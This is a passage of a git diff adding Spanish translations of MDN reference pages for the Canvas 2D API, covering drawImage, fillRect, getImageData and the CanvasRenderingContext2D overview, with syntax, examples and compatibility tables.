+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+</pre>
+</div>
+
+<table class="standard-table">
+ <tbody>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_exploradores">Compatibilidad con exploradores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div>
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div>
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Basico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vea_También">Vea También</h2>
+
+<ul>
+ <li>The interface defining it, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.fillRect()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.strokeRect()")}}</li>
+</ul>
diff --git a/files/es/web/api/canvasrenderingcontext2d/drawimage/index.html b/files/es/web/api/canvasrenderingcontext2d/drawimage/index.html
new file mode 100644
index 0000000000..2d5330ec53
--- /dev/null
+++ b/files/es/web/api/canvasrenderingcontext2d/drawimage/index.html
@@ -0,0 +1,232 @@
+---
+title: CanvasRenderingContext2D.drawImage()
+slug: Web/API/CanvasRenderingContext2D/drawImage
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContect2D
+  - Métodos
+  - Referencia
+translation_of: Web/API/CanvasRenderingContext2D/drawImage
+---
+<div>{{APIRef}}</div>
+
+<p>El método <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.drawImage()</code></strong> de la API Canvas 2D proporciona diferentes formas para dibujar una imagen dentro de canvas.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.drawImage(image, dx, dy);</var>
+void <var><em>ctx</em>.drawImage(image, dx, dy, dWidth, dHeight);</var>
+void <var><em>ctx</em>.drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight);</var>
+</pre>
+
+<p><img alt="drawImage" src="https://mdn.mozillademos.org/files/225/Canvas_drawimage.jpg" style="float: right;"></p>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>image</code></dt>
+ <dd>Un elemento a dibujar dentro del context. La especificación permite cualquier fuente de imagen en canvas ({{domxref("CanvasImageSource")}}), tal como una {{domxref("HTMLImageElement")}}, un {{domxref("HTMLVideoElement")}}, un {{domxref("HTMLCanvasElement")}} o un{{domxref("ImageBitmap")}}.</dd>
+ <dt><code>dx</code></dt>
+ <dd>La coordenada X del canvas destino en la cual se coloca la esquina superior izquierda de la imagen origen.</dd>
+ <dt><code>dy</code></dt>
+ <dd>La coordenada Y del canvas destino en la cual se coloca la esquina superior izquierda de la imagen origen.</dd>
+ <dt><code>dWidth</code></dt>
+ <dd>El ancho para dibujar la imagen en el canvas destino.</dd>
+ <dt><code>dHeight</code></dt>
+ <dd>El alto para dibujar la imagen en el canvas destino. Esto permite escalar la imagen dibujada. Si no se especifica, el alto de  la imagen no se escala al dibujar.</dd>
+ <dt><code>sx</code></dt>
+ <dd>La coordenada X de la esquina superior izquierda del sub-rectangulo de la imagen origen a dibujar en el contexto de destino.</dd>
+ <dt><code>sy</code></dt>
+ <dd>La coordenada Y de la esquina superior izquierda del sub-rectangulo de la imagen origen a dibujar en el contexto de destino.</dd>
+ <dt><code>sWidth</code></dt>
+ <dd>El ancho del sub-rectangulo de la imagen origen a dibujar en el contexto de destino. Si no se especifica, se utiliza todo el rectangulo entero desde las coordenadas especificadas por <code>sx</code> y <code>sy </code>hasta la esquina inferior derecha de la imagen.</dd>
+ <dt><code>sHeight</code></dt>
+ <dd>La altura del sub-rectangulo de la imagen origen a dibujar en el contexto de destino.</dd>
+</dl>
+
+<h3 id="Excepciones_lanzadas">Excepciones lanzadas</h3>
+
+<dl>
+ <dt><code>INDEX_SIZE_ERR</code></dt>
+ <dd>Si el canvas o la fuente de anchura o altura del rectangulo es igual a cero.</dd>
+ <dt><code>INVALID_STATE_ERR</code></dt>
+ <dd>La imagen no tiene datos de imagen.</dd>
+ <dt><code>TYPE_MISMATCH_ERR</code></dt>
+ <dd>El elemento de origen especificado no es compatible.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_el_método_drawImage">Usando el método drawImage</h3>
+
+<p>Este es sólo un simple fragmento de código que utiliza el método drawImage.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+&lt;div style="display:none;"&gt;
+  &lt;img id="source" src="https://mdn.mozillademos.org/files/5397/rhino.jpg"
+       width="300" height="227"&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[5]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var image = document.getElementById('source');
+
+ctx.drawImage(image, 33, 71, 104, 124, 21, 20, 87, 104);
+</pre>
+
+<p>Edita el código debajo y observa los cambios actualizarse en vivo en el canvas:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div style="display:none;"&gt;
+  &lt;img id="source" src="https://mdn.mozillademos.org/files/5397/rhino.jpg" width="300" height="227"&gt;
+&lt;/div&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.drawImage(image, 33, 71, 104, 124, 21, 20, 87, 104);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var image = document.getElementById('source');
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-drawimage", "CanvasRenderingContext2D.drawImage")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ImageBitmap</code> como fuente de imagen</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ImageBitmap</code> como fuente de imagen</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Notas_de_compatibilidad">Notas de compatibilidad</h2>
+
+<ul>
+ <li>Soporte para voltear imagen usando valores negativos para <code>sw</code> y <code>sh</code> fue añadido en Gecko 5.0 {{geckoRelease("5.0")}}.</li>
+ <li>Empezando con {{geckoRelease("5.0")}} <code>drawImage()</code> maneja argumentos negativos de acuerdo con la especificación, volteando el rectangulo alrededor del eje apopiado.</li>
+ <li>Especificación de una imagen <code>null</code> o <code>undefined</code> al llamar o <code>drawImage()</code> correctamente lanzando una excepción <code>TYPE_MISMATCH_ERR</code> empezando con {{geckoRelease("5.0")}}.</li>
+ <li>antes de Gecko 7.0 {{ geckoRelease("7.0") }}, Firefox lanzó una excepción si alguno de los valores de las coordenadas no eran finitos o cero. De acuerado a la especificación esto ya no ocurre.</li>
+ <li>Gecko 9.0 {{ geckoRelease("9.0") }} ahora soporta correctamente CORS para dibujar imágenes a través de dominios sin <a href="/en/CORS_Enabled_Image#What_is_a_.22tainted.22_canvas.3F" title="en/CORS_Enabled_Image#What_is_a_.22tainted.22_canvas.3F">manchar el canvas</a>.</li>
+ <li>Gecko 11.0 {{ geckoRelease("11.0") }} ahora permite SVG-como-una-imagen para ser dibujada en el canvas sin <a href="/en/CORS_Enabled_Image#What_is_a_.22tainted.22_canvas.3F" title="en/CORS_Enabled_Image#What_is_a_.22tainted.22_canvas.3F">manchar el canvas</a>.</li>
+</ul>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Definiendo la interfaz, {{domxref("CanvasRenderingContext2D")}}.</li>
+</ul>
diff --git a/files/es/web/api/canvasrenderingcontext2d/fillrect/index.html b/files/es/web/api/canvasrenderingcontext2d/fillrect/index.html
new file mode 100644
index 0000000000..bc1a6ddf65
--- /dev/null
+++ b/files/es/web/api/canvasrenderingcontext2d/fillrect/index.html
@@ -0,0 +1,169 @@
+---
+title: CanvasRenderingContext2D.fillRect()
+slug: Web/API/CanvasRenderingContext2D/fillRect
+translation_of: Web/API/CanvasRenderingContext2D/fillRect
+---
+<div>{{APIRef}}</div>
+
+<p>El método <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fillRect()</code></strong>  de la API Canvas 2D dibuja un rectángulo relleno en la posición ( x, y ). El tamaño del rectángulo se determina por width (anchura) y height (altura). El estilo de relleno se determina por el atributo <code>fillStyle</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.fillRect(x, y, width, height);</var>
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>La componente x de la coordenada para el punto de comienzo del rectángulo.</dd>
+ <dt><code>y</code></dt>
+ <dd>La componente y de la coordenada para el punto de comienzo del rectángulo.</dd>
+ <dt><code>width</code></dt>
+ <dd>La anchura del rectángulo.</dd>
+ <dt><code>height</code></dt>
+ <dd>La altura del rectángulo.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_el_método_fillRect">Usando el método <code>fillRect</code></h3>
+
+<p>El siguiente fragmento de código usa el método <code>fillRect</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[4]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);
+
+// Rellenar el canvas completo
+// ctx.fillRect(0, 0, canvas.width, canvas.height);
+</pre>
+
+<p>Edita el código  que se encuentra a continuación y observa en vivo los cambios actualizados en el canvas:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-fillrect", "CanvasRenderingContext2D.fillRect")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Documentos_relacionados">Documentos relacionados</h2>
+
+<ul>
+ <li>The interface defining it, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.fillStyle")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.clearRect()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.strokeRect()")}}</li>
+</ul>
diff --git a/files/es/web/api/canvasrenderingcontext2d/getimagedata/index.html b/files/es/web/api/canvasrenderingcontext2d/getimagedata/index.html
new file mode 100644
index 0000000000..4f0c72afd0
--- /dev/null
+++ b/files/es/web/api/canvasrenderingcontext2d/getimagedata/index.html
@@ -0,0 +1,103 @@
+---
+title: CanvasRenderingContext2D.getImageData()
+slug: Web/API/CanvasRenderingContext2D/getImageData
+tags:
+  - CanvasRenderingContext2D
+  - Context 2D
+  - Español
+  - Method
+  - Reference
+  - getImageData
+translation_of: Web/API/CanvasRenderingContext2D/getImageData
+---
+<div>{{APIRef}}</div>
+
+<p> </p>
+
+<p>El método CanvasRenderingContext2D.getImageData() de la API de Canvas 2D devuelve un objeto ImageData que representa los datos de píxeles subyacentes para el área del lienzo denotada por el rectángulo que comienza en (sx, sy) y tiene un ancho de sw y una altura de sh. Este método no se ve afectado por la matriz de transformación de la lona.</p>
+
+<p>Los píxeles fuera del área del lienzo están presentes como valores negros transparentes en los datos de imagen devueltos.</p>
+
+<p> </p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">ImageData <var><em>ctx</em>.getImageData(sx, sy, sw, sh);</var>
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>sx</code></dt>
+ <dd>La coordenada 'x' de la esquina superior izquierda del rectángulo del que se extraerán los datos de imagen.</dd>
+ <dt><code>sy</code></dt>
+ <dd>La coordenada 'y' de la esquina superior izquierda del rectángulo del que se extraerá el ImageData.</dd>
+ <dt><code>sw</code></dt>
+ <dd>El ancho del rectángulo del que se extraerán los datos de la imagen.</dd>
+ <dt><code>sh</code></dt>
+ <dd>La altura del rectángulo del que se extraerán los datos de la imagen.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>An <a href="https://developer.mozilla.org/en-US/docs/Web/API/ImageData" title="The ImageData interface represents the underlying pixel data of an area of a &lt;canvas> element. It is created using the ImageData() constructor or creator methods on the CanvasRenderingContext2D object associated with a canvas: createImageData() and getImageData(). It can also be used to set a part of the canvas by using putImageData()."><code>ImageData</code></a> object containing the image data for the given rectangle of the canvas.</p>
+
+<h3 id="Errores_cometidos">Errores cometidos</h3>
+
+<dl>
+ <dt>IndexSizeError</dt>
+ <dd>Lanzado si cualquiera de los argumentos de anchura o altura es cero.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_el_método_getImageData">Usando el método getImageData</h3>
+
+<p>Esto es sólo un simple fragmento de código que utiliza el método getImageData. Para obtener más información, consulte <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas">Manipulación de píxeles con Canvas</a> y el objeto ImageData.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[6]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+ctx.rect(10, 10, 100, 100);
+ctx.fill();
+
+console.log(ctx.getImageData(50, 50, 100, 100));
+// ImageData { width: 100, height: 100, data: Uint8ClampedArray[40000] }
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-getimagedata", "CanvasRenderingContext2D.getImageData")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, visite <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una solicitud de extracción.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.getImageData")}}</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>La interfaz que lo define, {{domxref("CanvasRenderingContext2D")}}.</li>
+ <li>{{domxref("ImageData")}}</li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas">Manipulación de píxeles con Canvas</a></li>
+</ul>
diff --git a/files/es/web/api/canvasrenderingcontext2d/index.html b/files/es/web/api/canvasrenderingcontext2d/index.html
new file mode 100644
index 0000000000..77df4af190
--- /dev/null
+++ b/files/es/web/api/canvasrenderingcontext2d/index.html
@@ -0,0 +1,519 @@
+---
+title: CanvasRenderingContext2D
+slug: Web/API/CanvasRenderingContext2D
+translation_of: Web/API/CanvasRenderingContext2D
+---
+<div>{{APIRef}}</div>
+
+<p>La interfaz <code><strong>CanvasRenderingContext2D</strong></code> proporciona el contexto de renderizado 2D para la superficie de dibujo de un elemento {{ HTMLElement("canvas") }}.</p>
+
+<p>Para obtener un objeto de esta interfaz, llama a {{domxref("HTMLCanvasElement.getContext()", "getContext()")}} en un <code>&lt;canvas&gt;</code>, proporcionando "2d" como argumento:</p>
+
+<pre class="brush: js">var canvas = document.getElementById('mycanvas');
+var ctx = canvas.getContext('2d');
+</pre>
+
+<p>Una vez que tengas el contexto de renderizado 2D para un canvas, podrás dibujar en ella. Por ejemplo:</p>
+
+<pre class="brush: js">ctx.fillStyle = "rgb(200,0,0)";
+ctx.fillRect(10, 10, 55, 50);
+</pre>
+
+<p>Mira las propiedades y métodos en la barra lateral. El <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">tutorial de canvas</a> tiene más información, ejemplos y recursos también.</p>
+
+<h2 id="Dibujando_rectángulos">Dibujando rectángulos</h2>
+
+<p>Hay 3 métodos que inmediatamente dibujan rectángulos en el bitmap.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.clearRect()")}}</dt>
+ <dd>Establece todos los píxeles del rectangulo definido por los puntos <em>(x, y) </em>y tamaños <em>(ancho, alto)</em> a negro transparente, borrando cualquier contenido previo.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.fillRect()")}}</dt>
+ <dd>Dibuja un rectángulo relleno en la posición <em>(x, y)</em> cuyo tamaño está determinado por la anchura y la altura.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeRect()")}}</dt>
+ <dd>Dibuja un rectángulo que tiene como posición inicial <em>(x, y)</em> con un ancho w y altura h sobre el canvas, utilizando el estilo de trazo actual.</dd>
+</dl>
+
+<h2 id="Dibujando_texto">Dibujando texto</h2>
+
+<p>Los siguientes métodos  se proporcionan para dibujar texto. Mira también el objeto {{domxref("TextMetrics")}} para propiedades de texto.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillText()")}}</dt>
+ <dd>Dibuja (llena) un texto dado en una posición (x, y) dada.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeText()")}}</dt>
+ <dd>Dibuja (trazas) un texto dado en una posición (x, y) dada.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.measureText()")}}</dt>
+ <dd>Devuelve el objeto {{domxref("TextMetrics")}}.</dd>
+</dl>
+
+<h2 id="Los_estilos_de_línea">Los estilos de línea</h2>
+
+<p>Los siguientes métodos y propiedades controlan como las líneas son dibujadas.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.lineWidth")}}</dt>
+ <dd>Ancho de líneas. Por defecto <code>1.0</code></dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineCap")}}</dt>
+ <dd>Tipo de terminaciones en el final de las líneas. Posibles valores: <code>butt</code> (defecto), <code>round</code>, <code>square</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineJoin")}}</dt>
+ <dd>Define el tipo de esquinas donde dos líneas se encuentran. Pislbes valores: <code>round</code>, <code>bevel</code>, <code>miter</code> (defecto).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.miterLimit")}}</dt>
+ <dd>Relación límite angular. Defecto <code>10</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.getLineDash()")}}</dt>
+ <dd>Devuelve la matriz patrón de trazos actual que contiene un número de par de números no negativos.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.setLineDash()")}}</dt>
+ <dd>Establece el patrón de trazos linea actual.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineDashOffset")}}</dt>
+ <dd>Especifica donde inicia una gama de instrumentos en una línea.</dd>
+</dl>
+
+<h2 id="Estilos_de_texto">Estilos de texto</h2>
+
+<p>Las siguientes propiedades control como el texto es presentado.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.font")}}</dt>
+ <dd>Ajuste de fuente. Valor por defecto <code>10px sans-serif</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.textAlign")}}</dt>
+ <dd>Text alignment setting. Possible values: <code>start</code> (default), <code>end</code>, <code>left</code>, <code>right</code> or <code>center</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.textBaseline")}}</dt>
+ <dd>Baseline alignment setting. Possible values: <code>top</code>, <code>hanging</code>, <code>middle</code>, <code>alphabetic</code> (default), <code>ideographic</code>, <code>bottom</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.direction")}}</dt>
+ <dd>Directionality. Possible values: <code>ltr, rtl</code>, <code>inherit</code> (default).</dd>
+</dl>
+
+<h2 id="Estilo_del_relleno_y_de_los_bordes">Estilo del relleno y de los bordes</h2>
+
+<p>Fill styling es utilizado para estilizar los colores del relleno y los bordes de las  formas.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillStyle")}}</dt>
+ <dd>Utilizado para dar color al relleno de las formas. Color por defecto <code>#000</code> (negro).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeStyle")}}</dt>
+ <dd>Utilizado para dar color al borde de las formas. Color por defecto <code>#000</code> (negro)..</dd>
+</dl>
+
+<h2 id="Degradados_y_patrones">Degradados y patrones</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createLinearGradient()")}}</dt>
+ <dd>Creates a linear gradient along the line given by the coordinates represented by the parameters.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.createRadialGradient()")}}</dt>
+ <dd>Creates a radial gradient along the line given by the coordinates represented by the parameters.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.createPattern()")}}</dt>
+ <dd>Creates a pattern using the specified image (a {{domxref("CanvasImageSource")}}). It repeats the source in the directions specified by the repetition argument. This method returns a {{domxref("CanvasPattern")}}.</dd>
+</dl>
+
+<h2 id="Sombras">Sombras</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowBlur")}}</dt>
+ <dd>Especifica el efecto de desenfoque. Predeterminado <code>0</code></dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowColor")}}</dt>
+ <dd>Color de la sombra. Predeterminado totalmente transparente negro.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetX")}}</dt>
+ <dd>Distancia horizontal del desplazamiento de la sombra. Predeterminado 0.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetY")}}</dt>
+ <dd>Distancia vertical del desplazamiento de la sombra. Predeterminado 0.</dd>
+</dl>
+
+<h2 id="Paths">Paths</h2>
+
+<p>The following methods can be used to manipulate paths of objects.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.beginPath()")}}</dt>
+ <dd>Starts a new path by emptying the list of sub-paths. Call this method when you want to create a new path.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.closePath()")}}</dt>
+ <dd>Causes the point of the pen to move back to the start of the current sub-path. It tries to draw a straight line from the current point to the start. If the shape has already been closed or has only one point, this function does nothing.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.moveTo()")}}</dt>
+ <dd>Moves the starting point of a new sub-path to the <strong>(x, y)</strong> coordinates.</dd>
